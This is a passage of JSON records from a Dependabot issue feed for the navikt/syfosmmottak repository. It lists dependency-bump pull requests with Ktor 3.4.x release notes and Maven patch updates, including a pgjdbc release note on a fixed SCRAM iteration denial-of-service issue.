href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.0...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-client-apache` from 3.4.0 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-client-apache's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-client-apache's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default...\n\n_Description has been truncated_","html_url":"https://github.com/navikt/syfosmmottak/pull/482","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/navikt%2Fsyfosmmottak/issues/482","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/482/packages"},{"uuid":"4414721450","node_id":"PR_kwDOI64WQs7Z80LY","number":498,"state":"closed","title":"Bump the safe-patch-updates group across 1 directory with 12 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-17T05:14:55.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-10T05:15:36.000Z","updated_at":"2026-05-17T05:14:57.000Z","time_to_close":604759,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"safe-patch-updates","update_count":12,"packages":[{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"com.auth0:java-jwt","old_version":"4.5.1","new_version":"4.5.2","repository_url":"https://github.com/auth0/java-jwt"},{"name":"com.fasterxml.jackson.core:jackson-databind","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson"},{"name":"com.fasterxml.jackson.core:jackson-core","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-core"},{"name":"com.fasterxml.jackson.datatype:jackson-datatype-jsr310","old_version":"2.21.2","new_version":"2.21.3"},{"name":"com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-modules-base"},{"name":"com.fasterxml.jackson.dataformat:jackson-dataformat-yaml","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-dataformats-text"},{"name":"org.glassfish.jaxb:jaxb-runtime","old_version":"4.0.7","new_version":"4.0.8"},{"name":"org.thymeleaf:thymeleaf","old_version":"3.1.4.RELEASE","new_version":"3.1.5.RELEASE"},{"name":"org.operaton.bpm:operaton-engine","old_version":"1.1.1","new_version":"1.1.2"},{"name":"org.operaton.bpm:operaton-engine-spring","old_version":"1.1.1","new_version":"1.1.2"},{"name":"org.operaton.bpm.model:operaton-bpmn-model","old_version":"1.1.1","new_version":"1.1.2"}],"path":null,"ecosystem":"maven"},"body":"Bumps the safe-patch-updates group with 12 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| [com.auth0:java-jwt](https://github.com/auth0/java-jwt) | `4.5.1` | `4.5.2` |\n| [com.fasterxml.jackson.core:jackson-databind](https://github.com/FasterXML/jackson) | `2.21.2` | `2.21.3` |\n| [com.fasterxml.jackson.core:jackson-core](https://github.com/FasterXML/jackson-core) | `2.21.2` | `2.21.3` |\n| com.fasterxml.jackson.datatype:jackson-datatype-jsr310 | `2.21.2` | `2.21.3` |\n| [com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations](https://github.com/FasterXML/jackson-modules-base) | `2.21.2` | `2.21.3` |\n| [com.fasterxml.jackson.dataformat:jackson-dataformat-yaml](https://github.com/FasterXML/jackson-dataformats-text) | `2.21.2` | `2.21.3` |\n| org.glassfish.jaxb:jaxb-runtime | `4.0.7` | `4.0.8` |\n| org.thymeleaf:thymeleaf | `3.1.4.RELEASE` | `3.1.5.RELEASE` |\n| org.operaton.bpm:operaton-engine | `1.1.1` | `1.1.2` |\n| org.operaton.bpm:operaton-engine-spring | `1.1.1` | `1.1.2` |\n| org.operaton.bpm.model:operaton-bpmn-model | `1.1.1` | `1.1.2` |\n\n\nUpdates `org.postgresql:postgresql` from 42.7.10 to 42.7.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca 